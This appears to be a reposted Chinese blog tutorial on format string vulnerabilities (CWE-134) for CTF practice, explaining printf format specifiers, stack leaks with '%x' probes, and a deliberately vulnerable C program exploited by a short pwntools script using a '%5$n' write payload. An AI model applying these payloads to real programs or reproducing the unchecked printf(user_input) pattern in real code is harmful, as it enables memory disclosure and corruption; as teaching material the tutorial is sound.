当前位置:   article > 正文

c++字符串输入_【pwn】什么是格式化字符串漏洞?

cwe-134

0x00 前言

      格式化字符串漏洞是在CWE[1](Common Weakness Enumeration,通用缺陷枚举)例表中的编号为CWE-134,由于在审计过程中很容易发现该漏洞,所以此类漏洞很少出现,但是在很多CTF还存在相关的题目,比如XCTF的pwn新手练习区的 string等,通过这两天的学习,发现还是有必要系统的归纳一下相关知识点,在这里我们以问题为导向展开学习。

0x01 格式化字符串

Q1:什么是格式化字符串 
格式化字符串(format string)是一些程序设计语言在格式化输出API函数中用于指定输出参数的格式与相对位置的字符串参数,例如C、C++等程序设计语言的printf类函数,其中的转换说明(conversion specification)用于把随后对应的0个或多个函数参数转换为相应的格式输出;格式化字符串中转换说明以外的其它字符原样输出。[2]
      上述内容是wiki对格式化字符串的解释,简单来说,格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。[3] 比如:
printf("Hello %s, Your ID is %d", name, &ID)
      对于格式化函数printf来说,"Hello %s, Your ID is %d"是printf函数的第一个参数,该参数被称为格式化字符串name是printf函数的第二个参数,&ID是printf函数的第三个参数,其中%s控制name的输出,%d控制着&ID的输出;       对于格式化字符串 "Hello &s, Your ID is %d"来讲,name是它的第一个参数,&ID是它的第二个参数;

1f11700ba9e381d3f8e8bf0b5f7646b4.png

例如上图:
  • printf函数第一个参数(格式化字符串)的地址为0xffffd8a0,该地址指向地址0x804a00b,位于栈顶esp
  • printf函数第二个参数的地址为0xffffd8b8,在栈中处于0xffffd8a4esp+4
  • 第三个参数为0x2,通过栈可以看出该数值被存放在地址为0xffffd8a8,栈中为esp+8
通过上面的例子,可以看出,该printf函数的格式化字符串中有两个控制字符%s%d说明栈中两个连续的高地址是格式化字符串的第1,2个参数,也是printf函数的第2,3个参数。
Q2:格式化字符串函数的作用是什么?  
      格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。[3] Q3:格式化字符串函数的组成是什么?  
      格式化字符串有着自己固定的格式,由三部分组成:
  • 格式化字符串函数,比如printf函数
  • 格式化字符串,比如"Hello %s, Your ID is %d"
  • 后续参数(可选),比如name&ID
Q4:格式化字符串的格式是什么? [2]&[3]
%[parameter][flags][field width][.precision][length]type
parameter :n$,获取格式化字符串中的指定参数;n是用这个格式说明符(specifier)显示第几个参数;这使得参数可以输出多次,使用多个格式说明符,以不同的顺序输出。如果任意一个占位符使用了parameter,则其他所有占位符必须也使用parameter。这是POSIX扩展,不属于ISO C。例:printf("%2$d %2$#x; %1$d %1$#x",16,17),产生"17 0x11; 16 0x10" flags:(此项省略) field width:输出的最小宽度; Precision:通常指明输出的最大长度,依赖于特定的格式化类型; Length:指出浮点型参数或整型参数的长度;
字符描述
hh对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
h对于整数类型,printf期待一个从short提升的int尺寸的整型参数。
l对于整数类型,printf期待一个long尺寸的整型参数。对于浮点类型,printf期待一个double尺寸的整型参数。对于字符串s类型,printf期待一个wchar_t指针参数。对于字符c类型,printf期待一个wint_t型的参数
ll对于整数类型,printf期待一个long long尺寸的整型参数。Microsoft也可以使用I64
L对于浮点类型,printf期待一个long double尺寸的整型参数。
z对于整数类型,printf期待一个size_t尺寸的整型参数。
j对于整数类型,printf期待一个intmax_t尺寸的整型参数。
t对于整数类型,printf期待一个ptrdiff_t尺寸的整型参数。

type

字符描述
d/i有符号十进制数值int。'%d'与'%i'对于输出是同义;但对于scanf()输入二者不同,其中%i在输入值有前缀0x或0时,分别表示16进制或8进制的值。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。
u十进制unsigned int。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空
c如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把wint_t参数转为包含两个元素的wchart_t数组,第一个元素包含要输出的字符,第二个元素为null宽字符
o8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空
s如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向wchar_t型的数组,输出时把每个宽字符转化为多字节字符,相当于调用wcrtomb函数
n不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量
pvoid * 型,输出对应变量的值。printf("%p",a) 用地址的格式打印变量 a 的值;printf("%p", &a) 打印变量 a 所在的地址。
x/X16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空
%'%'字面值,不接受任何 flags, width。

特别说明

这里简单的介绍一下%n控制符,下面会用到:

%n 用于将当前字符串的长度打印到var中,例如:

//gcc str.c -m32 -o str#include int main(void){int c = 0;printf("the use of %n", &c);printf("%d\n", c);return 0;}
上述结果为11,也就是the use of的长度。具体原理:printf在输出格式化字符串的时候,会维护一个内部指针,当printf逐步将格式化字符串的字符打印到屏幕,当遇到%的时候,printf会期望它后面跟着一个格式字符串,因此会递增内部字符串以抓取格式控制符的输入值。这就是问题所在,printf无法知道栈上是否放置了正确数量的变量供它操作,如果没有足够的变量可供操作,而指针按正常情况下递增,就会产生越界访问。甚至由于%n的问题,可导致任意地址读写。[5]

Q5:常见的格式化字符串函数有哪些? [3]

名称基本介绍类别
scanf从stdin中向特定地址中读值输入
printf输出到 stdout输出
fprintf输出到指定 FILE 流输出
vprintf根据参数列表格式化输出到 stdout输出
vfprintf根据参数列表格式化输出到指定 FILE 流输出
sprintf输出到字符串输出
snprintf输出指定字节数到字符串输出
vsprintf根据参数列表格式化输出到字符串输出
vsnprintf根据参数列表格式化输出指定字节到字符串输出
setproctitle设置 argv输出
syslog输出日志输出
err, verr, warn, vwarn 等……输出

0x02 格式化字符串漏洞原理

       在Q1中我们已经介绍了什么是格式化字符串,并且用例子也进一步说明,那么现在主要介绍一下格式化字符漏洞原理:格式化字符串函数是根据格式化字符串函数来进行解析的。那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制,所以当prinf函数没有格式化字符串时,我们可以通过输入控制字符来泄露内存信息,用下面的代码为例:

正常应该这样写:

// code1# includeint main(){            int a = 6,b=20;    char c[20];    printf("%p\n", &a);    scanf("%s",c);    printf("%s\n",c);    if(a = 8)        printf("Success");    else        printf("Fail");}

正常结果为

Hello World!Fail

由于开发者的粗心或者偷懒,将上述代码写成如下所示:

// code2# includeint main(){            int a = 6,b=20;    char c[20];    printf("%p\n", &a);    scanf("%s",c);    printf(c);    if(a == 8)        printf("Success");    else        printf("Fail");}

有一位大佬执行该程序后,输出的结果却是:

 \xd8\x16\xfa\xffaaaaSuccess

我们就以这个简单的例子入手,来梳理和讲解格式化字符串漏洞原理。

Q1:printf("%s",c);和printf(c);有什么区别?

461850778d3fc492f7ac358a191f7c80.png

      这里主要看stack中的情况,其中左边的是printf("%s",c);语句,右边是printf(c);语句,从code中可以看出 printf 函数的arg[0](格式化字符串)的地址并不一样,但是从 stack 中可以看到 esp 的地址,也就是两种情况格式化字符串在栈中的存储地址都是0xffffd8a0,由此可以看出

  • printf("%s",c);的格式化字符串为%s

  • printf(c);的格式化字符串为我们输入的AAAA%x.%x.%x.%x.%x.%x.%x,在这里我们可以把printf(c);当作printf("AAAA%x.%x.%x.%x.%x.%x.%x");后续参数被省略掉,也就是说格式化字符串要打印的参数有7个,所以从格式化字符串的地址依次+4,则打印的参数地址为esp+0x4esp+0x8esp+0xcesp+0x10esp+0x14esp+0x18esp+1c,那么对于上图中的例子,输出的结果为:

输入:AAAA%x.%x.%x.%x.%x.%x.%x输出:AAAAffffd8b4.0.8049189.f7fb33fc.41414141.252e7825.78252e78Fail

       上述结果分别对应:

栈顶偏移格式化字符串参数函数参数栈中地址输出结果
esp格式化字符串10xffffd8a0 --> 0xffffd8b4AAAA
esp+0x4120xffffd8a4 --> 0xffffd8b4ffffd8b
esp+0x8230xffffd8a8 --> 0x00
esp+0xc340xffffd8ac --> 0x80491898049189
esp+0x10450xffffd8b0 --> 0xf7fb33fcf7fb33fc
esp+0x14560xffffd8b4 ("AAAA")41414141
esp+0x18670xffffd8b8 ("%x.%")252e7825
esp+0x1c780xffffd8bc ("x.%x")78252e78
Q2:为什么要输入AAAA%x.%x.%x.%x.%x.%x.%x?
      在了解为什么要输入这个字符串之前,我们先来看看在运行程序时,局部变量存储的位置,这里就要清楚运行时栈的情况,如下图:

ce777a5dfeebcf6d22ac01f5e6f4c0df.png

      从上图可以看出,局部变量被存储在栈中(这里要说明的是全局变量被存储在.data段中),这里还是用code2的代码作为例子,看看main函数中变量 a、b 和 c 存放的位置,通过gdb进行调试,首先来确定变量 a 和 b 的位置,如下图:

eb2db45ae09cca10ee8b849c6620d655.png

      下面我们再来寻找 c 的位置,如下图:

3eea66297fc7494b6b1ce2af78697312.png

      从上图中得信息可以得出局部变量 a、b 和 c 在栈中的情况,如下图:

a7269d330fb89914cce28c9580267c3d.png

printf("%s",c); + 输入:AAAAAAAAAAAAAAAAAAAA       下面我们先来看看如果遇到正常的输出printf("%s",c);,看看栈中的情况(输入字符串“AAAAAAAAAAAAAAAAAAAA”的前提下)如下图:

a2bcf894d4a8e6c1f7fd8dcd02d5b5f2.png

输出结果为AAAAAAAAAAAAAAAAAAAA。从上图和结果可以看到esp处的是格式化字符串,里面只有一个控制字符%s,所以格式化字符串只有一参数,位于esp+0x4 处,那么输出的结果就是esp+4指向地址所对应的值AAAAAAAAAAAAAAAAAAAA。 注:这里有一点需要注意,任意的内存的读取需要用到格式化字符串 %s,其对应的参量是一个指向字符串首地址的指针,作用是输出这个字符串。[4]
printf(c); + 输入:AAAAAAAAAAAAAAAAAAAA       下面我们先来看看如果遇到printf(c);,看看栈中的情况(输入字符串“AAAAAAAAAAAAAAAAAAAA”的前提下)如下图:

eb0ea8aa97ebcb37945be2f09ba84d63.png

输出结果为AAAAAAAAAAAAAAAAAAAA,虽然这里也是输出20个重复的A,但是和上面的情况完全不一样,这里是因为格式化字符串中没有控制符,所以只将格式化字符串输出,这里一定要分清。 那再想一想,因为格式化字符串是我们的输入,如果我们在输入中加入控制符,比如%x、%p、%n等,那么我们是不是就可以泄露栈上的信息呢?不懂的话下面来一个例子,也就回到了我们这个小问题上为什么要输入AAAA%x.%x.%x.%x.%x.%x.%x?首先来简单的分析一下:
  • 因为我们输入的是 c 的值,c 是局部变量,所以输入的内容被分配在栈上
  • 因为printf(c);函数中没有格式化字符串,只有一个参数 s,所以printf把s地址中的内容当作第一个参数,也就是printf函数的格式化字符串
  • 因为我们的输入含有7个控制符%x,所以相当于printf函数的有7格式化字符串参数(注意是格式化字符串参数,不是函数参数),所以我们可以将后面7个连续地址都打印出来
  • 因为我们能控制的只有 c 的输入,所以我们可以通过AAAA%x.%x.%x.%x.%x.%x.%x来查找 c 的起始地址(也可以说成参数偏移),从而可以进一步利用我们的输入来改相应的值
Q3:利用格式化字符串漏洞能做么?[3]

      通过对格式化字符串漏洞的利用,可以实现如下功能:

  • 程序崩溃

  • 泄露内存

    • 获取栈变量数值

    • 获取栈变量对应字符串

    • 泄露栈内存

    • 泄露任意地址内存

  • 覆盖内存

    • 覆盖小数字

    • 覆盖大数字

    • 覆盖栈内存

    • 覆盖栈内存

    • 进行覆盖

    • 覆盖栈内存

    • 覆盖任意地址内存

0x03 例题探析

这里还是以code2中的代码为例:

// code2# includeint main(){    int a = 6,b=20;    char c[20];    printf("%p\n", &a);    scanf("%s",c);    printf(c);				// 存在格式化字符串漏洞    if(a == 8)        printf("Success\n");    else        printf("Fail\n");    printf("%d",a);}
① 编译

      为了简单的进行格式化字符串漏洞,在编译时将保护关闭掉:

gcc -m32 -fno-stack-protector -no-pie -o format_string format_string.c
② 确定数组 c 在栈中相对于格式化字符参数序列

      为了确定数组 c 是格式化字符串的参数个数,这里需要通过我们的输入进行泄露,运行程序,并且输入:AAAA%x.%x.%x.%x.%x.%x.%x,查看运行结果:

AAAAff920694.0.8049189.f7f0c3fc.41414141.252e7825.78252e78Fail

      因为“AAAA“的十六进制为”41414141“,所以我们可以判断数组 c 是格式化字符串的第 5 个参数,是printf函数的第 6 个参数,如图:

0fd50834edf366fda780e0eafc1ee131.png

根据上图,我们简单的来画一下此时栈中的示意图:

f3595601d695c3545f420f0e1415a790.png

③ 改变变量 a 的值

      由于目前几乎上所有的程序都开启了 aslr 保护,所以栈的地址一直在变,所以我们这里故意输出了 c 变量的地址。[3]在这里我们想一想怎么才能改变 c 的值呢?让我们一步一步的深入研究:

1)  我们已经知道了栈中的情况,以及变量 c 相对于格式化字符串的参数序列(第5个参数),而且我们能控制的输入只有 c,所以我们要想办法要通过对 c 的输入,向 a 地址写入我们想要输入的值

2)  如何实现这一目标呢?这里需要用到一个控制字符 %n%length$x

  • %n:不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量;

  • %n$x可以直接获取栈中被视为printf函数第 n+1 个参数的值

      我们已经确定了数组 c 的地址位置相当于格式化字符串的第 5 个参数,所以我们要在数组 c 的首地址写入 a 的地址,然后使用%5$n 向该地址写入 8,由于 a 的地址长度为 4,所以我们只需要在 %5$n 前面填充 4 个字符,这样输出的字符串长度为 8,那么 %5$n 就会将 8 赋值给格式化字符串的第 5 个参数所指向的地址,也可以将此构造(不唯一)格式进行统一:

[address][padding][%len$n]

      根据上述分析,我们可以构造如下payload:a_addr + "aaaa" + "%5$n",则完整的 exp 如下:

from pwn import *sh = process("./printf_test2")a_addr = int(sh.recvuntil("\n",drop=True),16)payload = str(p32(a_addr),encoding="unicode_escape") + "aaaa" + "%5$n"sh.sendline(payload)print("[+] result is:",sh.recvuntil("\n"))print("[+] a_value is:",str(sh.recv(),encoding="unicode_escape"))sh.interactive()

      输出结果如下:

root@kali:~/Documents/CTF/PWN/Test# python3 printf_test2_exp.py[+] Starting local process './printf_test2': pid 2187[+] result is: b'\xa8\xaa\x9f\xffaaaaSuccess\n'[+] a_value is: 8[*] Switching to interactive mode[*] Process './printf_test2' stopped with exit code 0 (pid 2187)[*] Got EOF while reading in interactive$

从上述结果中的“success”,以及 a 的值中可以分析出,我们已经成功的将 a 的值改为了 8,这个时候栈中的情况如下示意图:

bff0a42b205ff531c1c1dc680c69ca24.png

这里要注意:

      我们不能直接在命令行输入 \xa8\xaa\x9f\xffaaaa%5$n 这是因为虽然前面的确实是 a 的地址,但是,scanf 函数并不会将其识别为对应的字符串,而是会将 \xa8,所以要用pwntool工具。

0x04 References

[1] CWE和CVE及其关系

[2] 格式化字符串

[3] 格式化字符串漏洞原理介绍

[4] 格式化字符串漏洞原理详解

[5] 详谈Format String(格式化字符串)漏洞

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/笔触狂放9/article/detail/141961
推荐阅读
相关标签
  

闽ICP备14008679号